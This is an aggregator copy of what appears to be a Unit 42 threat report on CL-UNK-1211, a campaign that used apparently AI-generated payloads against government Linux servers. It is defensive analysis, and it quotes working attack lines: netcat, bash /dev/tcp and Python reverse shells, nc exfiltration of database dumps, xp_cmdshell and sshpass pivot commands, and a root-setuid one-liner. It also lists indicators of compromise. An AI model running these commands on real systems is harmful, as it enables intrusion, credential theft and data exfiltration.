{"slug": "ai-powered-espionage-campaign-targets-government-linux-infrastructure", "title": "AI-Powered Espionage Campaign Targets Government Linux Infrastructure", "summary": "Palo Alto Networks' Unit 42 identified a campaign, tracked as CL-UNK-1211, that targeted government entities and state-affiliated infrastructure with AI-generated payloads between October 2025 and April 2026. The attackers focused on Linux environments, deploying open-source tools, custom cross-platform backdoors and web shells to dump databases and exfiltrate government mailboxes, while disabling endpoint protections, erasing system logs and planting deceptive red-team markers to disguise the intrusion as a legitimate security assessment. Unit 42 said the artifacts contained AI-made conversational annotations and developer reasoning comments, indicating the code was generated by large language models or executed by an automated AI agent, and attributed the cluster to UNK because its affiliation with nation-state or cybercrime activity is undetermined.", "body_md": "## \n\nUnit 42 identified a campaign targeting government entities and state-affiliated infrastructure, with observed activity spanning from October 2025–April 2026. We track this activity as CL-UNK-1211.\n\nIn the operations we witnessed, the attackers relied on AI-generated payloads. Multiple artifacts deployed throughout the intrusion contained AI-made conversational annotations and developer reasoning comments, suggesting that the code was either generated using large language models (LLMs) or executed by an automated AI agent.\n\nThe attackers behind this cluster of activity focused on Linux environments to conduct extensive reconnaissance and maintain persistent network access to support intelligence-gathering. The attackers attempted to dump sensitive databases and exfiltrate government mailboxes to access social media accounts.\n\nThe campaign included a diverse toolkit that combined open-source tools, custom cross-platform backdoors and widespread web shell deployments. We observed various defense evasion techniques, including attempts to disable endpoint protections, erase system logs and plant deceptive red-team markers to disguise activity as a legitimate security assessment.\n\nOur attribution of this activity to CL-UNK-1211 is in accordance with the [Unit 42 attribution framework](https://unit42.paloaltonetworks.com/unit-42-attribution-framework/). We designate the term UNK to clusters of activity whose affiliation with either nation-state or cybercrime activity we have not yet determined.\n\nThis investigation uncovers the defining tools, techniques and attack patterns of this activity cluster.\n\nPalo Alto Networks customers are better protected from the threats discussed above through the following products and services:\n\n- [Advanced WildFire](https://docs.paloaltonetworks.com/wildfire)\n- [Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering) ,[Advanced DNS Security](https://docs.paloaltonetworks.com/dns-security) and[Advanced IP Defense](https://www.paloaltonetworks.com/network-security/advanced-ip-defense)\n- [Cortex XDR Analytics Engine](https://cortex-docs.paloaltonetworks.com/cortex-xdr-3.x/cortex-xdr-3.x-documentation/detect-threats-and-analyze-data/analytics/analytics-engine)\n- [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr?_gl=1*13pmp8e*_ga*NzQyNjM2NzkuMTY2NjY3OTczNw..*_ga_KS2MELEEFC*MTY2OTczNjA2MS4zMS4wLjE2Njk3MzYwNjEuNjAuMC4w) and[XSIAM](https://www.paloaltonetworks.com/resources/datasheets/cortex-xsiam-aag)\n- [Cortex Cloud](https://docs-cortex.paloaltonetworks.com/r/Cortex-CLOUD/Cortex-Cloud-Runtime-Security-Documentation/What-is-Cortex-Cloud-Identity-Security)\n\nThe [Unit 42 AI Security Assessment](https://www.paloaltonetworks.com/unit42/assess/ai-security-assessment) and [Unit 42 Frontier AI Defense](https://www.paloaltonetworks.com/unit42/ai-advantage) service can help identify and mitigate complex AI-enabled risks.\n\nIf you think you might have been compromised or have an urgent matter, contact the [Unit 42 Incident Response team](https://start.paloaltonetworks.com/contact-unit42.html).\n\n| **Related Unit 42 Topics** | **[AI](https://unit42.paloaltonetworks.com/tag/ai/), [Credential Harvesting](https://unit42.paloaltonetworks.com/tag/credential-harvesting/), [Linux](https://unit42.paloaltonetworks.com/tag/linux/)** | \n\n## \n\nOur analysis of the CL-UNK-1211 cluster of activity reveals a versatile operational playbook tailored to enterprise Linux and database environments. The attackers targeted government entities and state-affiliated infrastructure, maintaining persistent access by using a combination of custom cross-platform backdoors, open-source utilities and widespread web shell deployments.\n\nThe attackers enumerated mailboxes to identify and gain access to social media accounts tied to government email addresses. In addition, they dumped entire database contents before attempting to exfiltrate the data.\n\nThe attackers behind CL-UNK-1211 exhibited a methodical approach to defense evasion. This included attempting to disable endpoint protections on compromised systems, and to tamper with system logs that might contain evidence of the attack.\n\nWe provide a comprehensive analysis of the defining tools, techniques and procedures (TTPs) used throughout the operation, highlighting how the attackers leveraged AI to streamline payload creation across their execution workflow. Our analysis details key mechanisms across the attack chain. These include:\n\n- Initial access via web shell deployment and credential harvesting\n- Custom RAT execution\n- Mailbox targeting\n- Anti-forensics measures\n\n## \n\nThroughout the operation, the attackers relied on malicious PHP and shell scripts to maintain persistence, perform reconnaissance and exfiltrate data. These payloads revealed structural patterns and artifacts consistent with AI-assisted code generation.\n\nRather than standard developer documentation, multiple scripts contained conversational, step-by-step reasoning notes. These notes explained the code’s logic to the operator who provided the initial instructions. Their presence suggests that the code was either copied directly from an AI prompt output or deployed by an automated AI agent.\n\nIn addition, we identified several common characteristics that are consistent with AI-operated attacks, such as:\n\n- Section headers in scripts and shell commands, which AI uses to analyze the output faster\n- Extensive use of Base64-encoded commands\n- Seamless switching between different technologies throughout the attack, including PHP, JavaScript, Bash and Python\n\nFigure 1 shows snippets of code from scripts used by the attackers that contained AI-generated comments.\n\n## \n\nTo gain access and maintain a persistent backdoor into the host networks, the attackers deployed a variety of web shells on the targeted Linux servers. These were a combination of custom and open-source web shells found on GitHub. Figure 2 shows interactive web shell activity from the php-fpm parent process.\n\nTo achieve persistence, the attackers modified the auto_prepend_file value across all PHP configurations under the directories /etc/php/ and /opt/plesk/php/. These directories store all default PHP configuration files and [Plesk](https://www.hostinger.com/tutorials/what-is-plesk/) (web hosting control panel) configuration files. Any file that is specified in the modified auto_prepend_file value will automatically load and execute before any other PHP script runs.\n\nIn one instance, the attackers deployed a malicious PHP web shell as a file named /usr/lib/php/plesk_sys_driver.php to appear legitimate. They also modified the auto_prepend_file to load the malicious web shell to ensure persistence. Figure 3 shows the attacker-deployed PHP script, including the original inline comments.\n\n## \n\nThe attackers used multiple methods to gather credentials in the targeted environments, including:\n\n- Editing the .bashrc file\n- Inserting malicious lines of code into PHP scripts\n- Scanning the network for cleartext passwords\n\n### \n\nThe attackers replaced the [.bashrc](https://www.digitalocean.com/community/tutorials/bashrc-file-in-linux) file with a copy containing a malicious command that steals victims’ passwords. In one instance, they created an alias for the sudo command that was designed to execute each time a user attempted to run it. The malicious command:\n\n- Displays a prompt for the user to insert their password (mimicking the standard system authentication prompt)\n- Captures the inserted password\n- Writes it to the attackers’ log file\n\nThe harvested password is then passed to the legitimate sudo command for execution, leaving the victim unaware of the underlying interception. The attackers named the log file Solarwinds.StatusLog.txt, to mimic legitimate SolarWinds activity in the environment. We have no evidence of SolarWinds systems and infrastructure being compromised during this operation; the attackers misused the organization’s name as an evasion method.\n\nFigure 4 shows the command hijacking technique inside the .bashrc file.\n\n### \n\nThe attackers inserted a line of code into a PHP login page — most likely targeting a database authentication routine — to harvest admin credentials. If an administrator logs in, the code forwards the username and password to the attackers’ log file. Figure 5 shows a snippet of a PHP script including the code added by the attackers.\n\n### \n\nThe attackers searched for email, SMTP and database passwords inside configuration files and command history files. Figure 6 shows an example of commands that the attackers used to search for cleartext passwords.\n\n## \n\nThe attackers deployed a custom-developed, multi-platform remote access Trojan (RAT) written in Go, first observed under the benign file name sys-control-client. We named this malware SysGoRAT. This malware supports cross-platform execution on Windows and Linux and employs multiple persistence methods to maintain long-term access.\n\nThe malware established a command and control (C2) connection over WebSocket to wss://<addr>/ws. This WebSocket address defaults to a hardcoded IP address 104.194.158[.]65:443, which the malware operator can modify via a command-line parameter at execution. SysGoRAT supports a fixed set of seven command types, described in Table 1.\n\n| **Action** | **Behavior** | \n| command | Executes arbitrary commands via /bin/sh -c (Linux) or cmd /C (Windows) | \n| control | Dispatches one of four sub-actions (see [Control Sub-Actions in Appendix A](#post-188392-_2mzkydfap19g) ) | \n| list_dir | Lists directory content | \n| shell_input | Creates an interactive shell session | \n| proxy_connect | Establishes a TCP connection to an arbitrary target | \n| proxy_data | Relays data bidirectionally to an established proxy connection | \n| proxy_close | Terminates and removes a proxy session | \n\nTable 1. SysGoRAT command types.\n\nThe malware’s sub-actions provide additional capabilities and persistence methods, detailed in [Appendix A](#post-188392-_si9n4ddcj3em).\n\nThe attackers renamed the binary on disk to blend in, using different benign names on targeted endpoints, including:\n\n- sys-control-client\n- pip2.7\n- ea_install\n- ./semanage\n\n## \n\nThe attackers employed multiple reverse shell techniques across at least seven distinct C2 servers. To avoid leaving forensic artifacts on the disk, these shells operated almost entirely in memory using built-in system utilities:\n\n- Named pipe via Netcat: The primary method, deployed across three separate C2 servers, used a named pipe pattern to execute bash commands directly over a network socket.\n\n| 1 | rm /tmp/f; mkfifo /tmp/f; cat /tmp/f \\| bash -i 2>&1 \\| nc <C2> <port> >/tmp/f | \n\n- Bash TCP redirects: The attackers redirected the output of bash commands to an attacker-controlled external IP address.\n\n| 1 | bash -i >& /dev/tcp/[IP]/[PORT] 0>&1 | \n\n- Python subprocesses: The attackers ran a Python script to spawn a remote interactive shell. They achieved this by opening an outbound network socket and binding it to a /bin/bash process, giving them an accessible command-line interface.\n\n| 1 | python3 -c \"import socket,subprocess,os; s=socket.socket(...); s.connect(('[IP]',[PORT])); os.dup2(...); subprocess.call(['/bin/bash','-i'])\") | \n\nOrganizations can defend against reverse shell techniques by enforcing strict outbound firewall rules and using endpoint detection to spot standard utilities that spawn interactive shells. Figure 7 shows the reverse shell command that Cortex XDR detected and prevented.\n\n## \n\nThe attackers targeted official government mail servers to steal emails and facilitate access to external social media accounts.\n\nIn this operation, the attackers enumerated the /var/qmail/mailnames/ directories for several domains and counted the number of emails stored in specific users’ Maildir/cur/ directories to identify targets.\n\nNext, the attackers searched for social media-related emails. They deployed a PHP script, named search_social.php, that searched for specific keywords in email headers and displayed the results in a user-friendly format. Figure 8 shows the first part of the script.\n\nThe script then parsed the response and displayed the exact file path, social media account email sender, recipient and subject.\n\nFigure 9 demonstrates the expected output.\n\nAfter identifying the specific emails they wanted to exfiltrate, the attackers attempted to generate a bash script named zip_mails.sh that would iterate through users’ directories and compress their emails into ZIP archives. Figure 10 shows this command.\n\nThis bash script is intended to exfiltrate an entire mailbox rather than a specific social-media-related file identified by the previously analyzed script. In this particular instance, we found that the script contained syntax errors, such as a broken variable assignment user=\\;) and would fail upon execution.\n\nWe found indications that the attackers also intended to exfiltrate multiple databases and steal highly sensitive government data. The data exfiltration techniques the attackers used are detailed in [Appendix B](#post-188392-_lco5s1bjycyb).\n\n## \n\nA core component of the attackers’ playbook involved anti-forensics techniques, specifically:\n\n- Attempting to disable endpoint protections\n- Tampering with logs\n- [Timestomping](https://attack.mitre.org/techniques/T1070/006/)\n- Disguising malicious activity\n- Deleting residual artifacts to hinder post-incident analysis\n\nThis section details the specific evasion techniques and cleanup commands the attackers used to cover their tracks.\n\n### \n\nOne of the techniques the attackers used for defense evasion was an attempt to disable security protection devices on the compromised hosts. As Figure 11 shows, the attackers executed bash scripts that use the Linux commands pgrep and pkill to attempt to terminate Cortex XDR-related processes on infected systems.\n\nThese attempts were successfully detected and mitigated by Cortex XDR, with telemetry confirming that endpoint protections were not suppressed.\n\n### \n\nThroughout the campaign, the attackers ensured that single-use scripts were removed after execution by formulating a single command that:\n\n- Wrote the script to disk\n- Executed the script\n- Removed the script using rm\n\nFigure 12 shows an example of this procedure as executed by the attackers.\n\n### \n\nFor scripts that were meant for long-term use, the attackers used timestomping.\n\nThey used the command touch -t to change the access and modification time of malicious files, to make them appear as if they were created long before the attack started. The goal of this technique is to evade analysis by misleading analysts into believing the file is unrelated to malicious activity, due to its creation time predating the attack timeline.\n\n### \n\nIn several instances, we observed the attackers employing planted deception techniques to mislead post-incident analysis. They attempted to disguise their activity as a red team operation, by using operational indicators such as the key RedTeamOps2025 in one of the malicious scripts, and pentest123 as a password for a user the attackers created.\n\n### \n\nFollowing the exfiltration attempts, the attackers initiated a full cleanup of log files and malicious residual files on the systems. This cleanup included attempts to delete logs related to:\n\n- Authentication\n- Command history\n- Email activity\n- Operating system (OS)\n- Web server\n- Active PHP user sessions\n\nFigure 13 shows the execution of shell commands to delete various log files from the system.\n\nFollowing the mass log deletion, the attackers executed several automated cleanup commands and scripts, and verified that any evidence of the exfiltration was deleted.\n\nFigure 14 shows one of the attackers’ cleanup scripts, including the original inline comments. The script attempts to delete various logs across the system for a second time and to remove any files from /tmp/, where the attackers stored malicious scripts.\n\nAfter the cleanup phase, the attackers attempted to verify the removal of evidence, checking whether IP addresses they used were removed from system log files, as Figure 15 shows.\n\nAdditional commonly used TTPs that the attackers leveraged throughout the campaign are detailed in [Appendix B](#post-188392-_lco5s1bjycyb).\n\n## \n\nThis campaign demonstrates how attackers are combining traditional post-exploitation techniques with AI-accelerated workflows to target governmental Linux server infrastructure. By leveraging AI to rapidly generate, adapt and deploy operational scripts, the attackers behind CL-UNK-1211 maintained a fast pace of operation while minimizing manual developer overhead.\n\nThe attackers behind this activity exhibited a deep understanding of the Linux OS, employing techniques such as:\n\n- Global PHP configuration hijacking for persistent access\n- Command-line credential harvesting and privilege escalation using different shells\n\nAlongside open-source utilities, their toolkit featured custom tools, including a multi-platform Go RAT and custom vulnerability scanners.\n\nThe attackers also maintained a thorough cleanup strategy to thwart forensic analysis, by erasing system logs and attempting to disable endpoint protections. Despite these evasion efforts, endpoint security controls effectively neutralized their activity. Cortex XDR detected and prevented the process termination attempts targeting the agent.\n\nAttackers continue to adopt AI to streamline payload development and scale their campaigns.\n\nComprehensive visibility into Linux servers, databases and environments remains critical to countering attackers’ efforts and strengthening enterprise security.\n\n### \n\nWe used the [Cortex Agentic Assistant](https://cortex-docs.paloaltonetworks.com/cortex-agentix/learn-about-cortex-agentix/get-started-with-cortex-agentix), powered by Cortex AgentiX, to streamline this investigation. The Assistant enabled the team to query the data using natural language, providing deeper context and insights, and suggesting clear recommendations for what researchers should do next. Figures 16 and 17 show examples of output from Cortex AgentiX.\n\nPalo Alto Networks customers are better protected from the threats discussed above through the following products and services:\n\n#### \n\nThe [Advanced WildFire](https://docs.paloaltonetworks.com/wildfire) machine-learning models, analysis techniques and detection rules have been reviewed and updated in light of the indicators shared in this research.\n\n#### \n\n[Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering), [Advanced DNS Security](https://docs.paloaltonetworks.com/dns-security) and [Advanced IP Defense](https://www.paloaltonetworks.com/network-security/advanced-ip-defense) are designed to identify known domains and URLs associated with this activity as malicious.\n\n#### \n\nCortex XDR [Analytics Engine](https://cortex-docs.paloaltonetworks.com/cortex-xdr-3.x/cortex-xdr-3.x-documentation/detect-threats-and-analyze-data/analytics/analytics-engine) enhances behavioral detection for Linux through specialized mechanisms:\n\n- **Uncommon attempt to clear shell history** : This detector identifies attempts to manipulate or erase shell history files, highlighting defense evasion activity as part of the EDR Linux Evasion suite to reveal uncommon attempts to evade defenses, impair security controls, and erase traces of malicious activity. Figure 18 displays an “Uncommon attempt to clear shell history” alert that CL-UNK-1211 activity triggered.\n\n[Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr?_gl=1*13pmp8e*_ga*NzQyNjM2NzkuMTY2NjY3OTczNw..*_ga_KS2MELEEFC*MTY2OTczNjA2MS4zMS4wLjE2Njk3MzYwNjEuNjAuMC4w) and [XSIAM](https://www.paloaltonetworks.com/resources/datasheets/cortex-xsiam-aag) are designed to prevent the threats described in this article, by employing the [Malware Prevention Engine](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection). This approach combines several layers of protection, including [Advanced WildFire](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection), Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints.\n\n[Cortex Cloud](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection) is designed to help protect cloud posture and runtime operations against identity-driven threats by pairing static permission baselines with deep behavioral context. By embedding the functional identity baselines discussed in this research into our detection engine for both [cloud VM compute](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection) and [serverless agents](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection), Cortex Cloud adds a vital layer of operational context, enabling security teams to filter out noisy false positives and decisively catch threat actors attempting to masquerade, alter configurations, or execute anomalous operations in the environment.\n\nThe [Unit 42 AI Security Assessment](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection) and [Unit 42 Frontier AI Defense](https://www.paloaltonetworks.com/unit42/ai-advantage) service can help identify and mitigate complex AI-enabled risks.\n\nIf you think you may have been compromised or have an urgent matter, get in touch with the [Unit 42 Incident Response team](https://start.paloaltonetworks.com/contact-unit42.html) or call:\n\n- North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)\n- UK: +44.20.3743.3660\n- Europe and Middle East: +31.20.299.3130\n- Asia: +65.6983.8730\n- Japan: +81.50.1790.0200\n- Australia: +61.2.4062.7950\n- India: 000 800 050 45107\n- South Korea: +82.080.467.8774\n\nPalo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the [Cyber Threat Alliance](https://www.cyberthreatalliance.org).\n\n## \n\n### \n\nCVE-2025-55182 (React2Shell) vulnerability scanner\n\n- 2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e\n- 27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704\n- d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd\n- 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e\n\nCustom shell backdoor for privilege escalation\n\n- c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343\n\nGSocket reverse shell\n\n- d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa\n\nCVE-2021-4034 (PwnKit binary)\n\n- 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879\n\nPHP web shells\n\n- 1505a3a727f8899b2ad343519f7bf9c438b8b802f8d6b854f5db3b52f857c76a\n- 76c58fad4f70cf277a15a499b9a2151ac60e7a6b5c7a9ab684843dcc19f0d0a5\n- b1e82c6b0caea177e8bb71ad826867f509c65f0a43a651b50253e7c726566eac\n\n### \n\n- 45.88.188[.]140\n- 198.23.185[.]234\n- 138.68.244[.]146\n- 185.21.136[.]6\n- 72.61.89[.]179\n- 104.194.158[.]65\n- 109.224.53[.]140\n- 162.243.175[.]162\n- 154.93.37[.]228\n- 141.164.58[.]87\n- 88.80.150[.]232\n- 88.119.167[.]57\n- 173.212.247[.]23\n- 104.248.131[.]53\n- 147.182.224[.]216\n- 93.93.112[.]57\n- 192.210.183[.]17\n\n### \n\n- magento[.]ink\n- solidmonpe[.]com\n- wibu-bau-bawang[.]online\n- beraskencur[.]site\n\n## \n\nFirst observed as sys-control-client, SysGoRAT is a custom RAT developed by the attackers. The SysGoRAT malware had seven available command types, each with additional control sub-actions.\n\n### \n\nWhen the C2 server sends a control message, SysGoRAT triggers one of four specific operational actions.\n\n| **Action** | **Behavior** | \n| **shell_start** | Spawns an interactive /bin/bash process | \n| **screenshot** | Captures the current display as an image and returns it to the C2 | \n| **download** | Reads a specified file, optionally compresses it with gzip, and exfiltrates it to the C2 | \n| **persist** | Installs persistence using one of six supported methods (see next table) | \n\nTable 2. SysGoRAT control sub-actions.\n\n### \n\nThe persist action, triggered by the malware’s control message, supports six different installation methods for cross-platform environments. All methods use artifact names designed to masquerade as legitimate software.\n\n| **Method** | **Operating System**  | **Behavior** | \n| **systemd** | Linux | The malware copies itself to /usr/local/bin/; writes a unit (service) file to /etc/systemd/system/sys-update.service; reloads and enables the service | \n| **cron** | Linux | Creates a crontab entry with a five-minute execution interval | \n| **registry** | Windows | The malware copies itself to %APPDATA%\\Onedrive Update\\Updater.exe and adds a Run key to HKCU | \n| **schtasks** | Windows | Creates a daily scheduled task named Onedrive | \n| **complex** | Linux/Windows | Automatically selects the optimal method based on the detected OS without checking user permissions | \n| **auto** | Linux/Windows | Automatically selects the optimal method based on the detected OS and user permissions | \n\nTable 3. SysGoRAT persist sub-actions.\n\n## \n\nThe following section provides an analysis of additional TTPs associated with the CL-UNK-1211 activity cluster. The TTPs described in this appendix are more common in the broader threat landscape than those discussed previously.\n\n### \n\nAfter gaining access to Linux servers, the attackers escalated their privileges. They started by deploying and executing an open-source tool called [LinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) to check for local privilege escalation paths. Next, they used another open-source tool — [PwnKit](https://github.com/ly4k/PwnKit), a self-contained exploit for [CVE-2021-4034](https://nvd.nist.gov/vuln/detail/cve-2021-4034) — in an attempt to gain root privileges on the system.\n\nOnce the attackers obtained root privileges, they deployed various binaries with the goal of maintaining root access:\n\n- A renamed legitimate Python 3 interpreter:\n The attackers used the Python 3 interpreter and renamed it to .libpython-helper to execute shell commands with high privileges. They achieved this by using the Python commands os.setuid(0) and os.setgid(0), which set root privileges for the shell.Following is an example of a command used:\n12/usr/lib/x86_64-linux-gnu/.libpython-helper -c import os;os.setuid(0);os.setgid(0);os.system(\"<command>\")\n- Custom SUID root shell: This backdoor is dropped with the name .libsystemd-helper, and elevates itself to root privileges. It executes arbitrary shell commands via /bin/sh by running setuid with an argument of zero, followed by setgid with an argument of zero.\n- A renamed legitimate /bin/bash binary: The attackers wrote to disk a file named .tourch and modified its permissions using the command chmod u+s, allowing any user to execute commands as the file owner — which in this case was root. Because .tourch is actually the /bin/bash binary, this allowed the attackers to execute bash commands as root.\n\n### \n\nThe attackers leveraged a variety of reconnaissance techniques to identify and map high-value servers across compromised networks.\n\n#### \n\nThe attackers used multiple PHP scripts to conduct reconnaissance of the target networks. The scripts were used to scan the network for SQL servers, enumerate databases, and enumerate various domain artifacts. These artifacts included users, computers and open shares. Figure 19 shows one of the scripts the attackers used to scan for SQL servers.\n\n#### \n\nThe attackers deployed a custom vulnerability scanner written in Go that scans for servers vulnerable to [CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182) (React2Shell). Figure 20 shows the “Help” output of the scanner.\n\n### \n\nTo bypass internal firewalls and extend their access beyond the initially compromised web servers, the attackers employed a combination of database features, custom malware and open-source proxy tools. These methods enabled the attackers to bypass firewalls, route traffic into the network and execute commands across multiple servers.\n\nThroughout the operation, the attackers used a web shell to deploy Base64-encoded PHP scripts. They started by enabling command execution on an internal MSSQL server using XP_CMDSHELL:\n\n| 1 | EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;. | \n\nThe attackers identified the network segment they wanted to reach, and then created a double-hop execution chain to reach another segment within the network. This involved routing commands from the compromised web server through an initial MSSQL server to reach a secondary SQL server on a different subnet. They verified the routing and started executing OS-level commands on the second host. Following is an observed instance of a whoami command execution through a double-hop execution chain:\n\n| 1 | EXEC xp_cmdshell 'sqlcmd -S \\[SERVER_IP] -U \\[USERNAME] -P \"\\[PASSWORD]\" -Q \"EXEC xp_cmdshell ''whoami''\" -t 10 2>&1' | \n\n#### \n\nThe attackers also used the sshpass command with hard-coded administrative credentials to enable lateral movement across the internal network. The following command structure was used to pivot across internal Secure Shell (SSH) targets:\n\n| 1 | sshpass -p [PASSWORD] ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 [USERNAME]]@[IP_ADDRESS] [COMMAND] 2>&1\") | \n\nAfter establishing a successful SSH session on a target, the attackers executed follow-up commands to further compromise the environment. Observed post-pivot commands included:\n\n- Running the id command to verify user context and access levels\n- Reading the /etc/shadow file to steal password hashes\n- Using find to search for wp-config.php files containing database passwords\n- Listing home directories and .git repositories to map the server’s contents\n- Executing custom PHP scripts over SSH\n\n#### \n\nThe attackers achieved SSH-based persistence by injecting an SSH public key into the compromised user’s authorized_keys file. This establishes passwordless remote shell access. Following is the command sequence the attackers executed to install the SSH backdoor:\n\n1. Ensure the hidden .ssh directory exists\n2. Restrict directory access only to the owner (using chmod 700)\n3. Append the malicious public key to the authorized_keys file\n4. Set strict permissions on the authorized_keys file\n\nFigure 21 shows the observed command.\n\n### \n\nThe attackers deployed a variety of tunneling and proxy tools, while employing multiple techniques to maintain persistence and evade detection:\n\n- **revsocks** : The attackers deployed the open-source tool[revsocks](https://github.com/kost/revsocks) , a reverse SOCKS5 tunneling tool with SSL/TLS and proxy support.\n- **pysoxy** : The tool set also included[pysoxy](https://github.com/MisterDaneel/pysoxy/) , an open-source Python SOCKS proxy script used to route traffic.\n- **GSocket and gs-netcat:** The attackers misused[Global Socket](https://www.gsocket.io/) , a framework designed to solve NAT and firewall traversal problems. They deployed the framework’s binary, gs-netcat, which forces the internal host to establish an outbound connection to the public relay server (gsocket[.]io).\nThis binary was stored in /dev/shm/.gs-10085/ and executed under the disguised process name [kcached] (mimicking a kernel cache thread), alongside the binary gs-dbus (mimicking the D-Bus system). Execution parameters were passed via the environment variable (GSOCKET_ARGS) to hide them from process monitoring, and the spawned sessions were configured with HISTFILE=/dev/null to prevent shell command history from being logged to disk.\n\n### \n\nThe attackers used a combination of methods to extract sensitive data. We observed how they dumped entire database contents into compressed local archives before attempting to exfiltrate them to their C2 infrastructure. They also misused legitimate file-hosting platforms to blend the outgoing data with standard web traffic.\n\nExfiltration attempts began with attackers using the echo command to print small data samples directly to the terminal, using TOP clauses to limit the output. They subsequently attempted a structured dump, writing four tables, each capped at 100 rows, to a local SQLite database named dump.sqlite. Figure 22 shows the command sampling 100 results from four tables into /tmp/dump.sqlite.\n\nAfter examining a small sample of archived data, the attackers proceeded to full database dumps. They targeted large databases and wrote the output to local CSV files. Figure 23 shows the next phase, dumping all data from the four tables into a local file.\n\nFollowing that, the attackers compressed the dumps and attempted to exfiltrate them to a C2 server using the netcat command:\n\n| 1 2 | tar -czf /tmp/[DB_NAME]_dump.tar.gz -C /tmp [DB_NAME] nc [IP] [PORT] < /tmp/[DB_NAME]_dump.tar.gz | \n\nThe attackers tried to disguise their exfiltration activity as standard HTTPS web traffic by misusing legitimate file-hosting platforms. They used the curl command-line utility without establishing a dedicated C2 connection, and tried to upload the data to legitimate file-hosting platforms, such as:\n\n- transfer[.]sh\n- bashupload[.]com\n- filebin[.]net\n\nAnother script shows that the attackers searched a server for WordPress configuration files (wp-config.php) and extracted hard-coded database credentials in order to upload the output to the catbox[.]moe API. Figure 24 shows the search and exfiltration script.", "url": "https://wpnews.pro/news/ai-powered-espionage-campaign-targets-government-linux-infrastructure", "canonical_source": "https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/", "published_at": "2026-10-15 22:00:09+00:00", "updated_at": "2026-10-15 22:26:42.152301+00:00", "lang": "en", "topics": ["ai-safety", "artificial-intelligence", "large-language-models", "ai-agents"], "entities": ["Palo Alto Networks", "Unit 42", "CL-UNK-1211", "Advanced WildFire", "Cortex XDR", "Cortex Cloud", "XSIAM", "Unit 42 Frontier AI Defense"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/ai-powered-espionage-campaign-targets-government-linux-infrastructure", "markdown": "https://wpnews.pro/news/ai-powered-espionage-campaign-targets-government-linux-infrastructure.md", "text": "https://wpnews.pro/news/ai-powered-espionage-campaign-targets-government-linux-infrastructure.txt", "jsonld": "https://wpnews.pro/news/ai-powered-espionage-campaign-targets-government-linux-infrastructure.jsonld"}}